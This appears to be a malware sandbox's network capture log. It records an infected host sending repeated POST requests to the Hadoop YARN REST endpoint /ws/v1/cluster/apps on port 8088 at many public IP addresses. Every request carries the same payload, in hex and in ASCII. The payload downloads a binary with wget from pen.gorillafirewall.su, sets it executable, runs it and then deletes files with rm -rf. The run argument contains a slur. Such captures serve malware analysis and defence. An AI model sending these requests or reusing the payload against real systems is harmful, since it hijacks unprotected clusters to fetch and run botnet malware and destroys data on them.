Sep 12, 2024 00:39:27.841167927 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 31.240.32.116:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:31.872603893 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 31.240.32.116:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	53396	22.172.178.76	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:32.909390926 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 22.172.178.76:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:33.148457050 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 22.172.178.76:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:33.388477087 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 22.172.178.76:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:33.888374090 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 22.172.178.76:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	50658	49.179.51.163	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:35.911643028 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 49.179.51.163:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	60474	219.253.93.123	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:44.919136047 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 219.253.93.123:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:45.166800022 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 219.253.93.123:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:45.414783955 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 219.253.93.123:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:45.922692060 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 219.253.93.123:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	57430	186.99.201.69	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:47.921823025 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 186.99.201.69:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:48.194422960 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 186.99.201.69:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:48.478420973 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 186.99.201.69:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:49.022335052 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 186.99.201.69:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:50.110136986 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 186.99.201.69:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	56838	109.161.191.41	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:50.924696922 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 109.161.191.41:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:51.198333025 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 109.161.191.41:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	40538	62.49.198.58	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:53.927592039 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 62.49.198.58:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
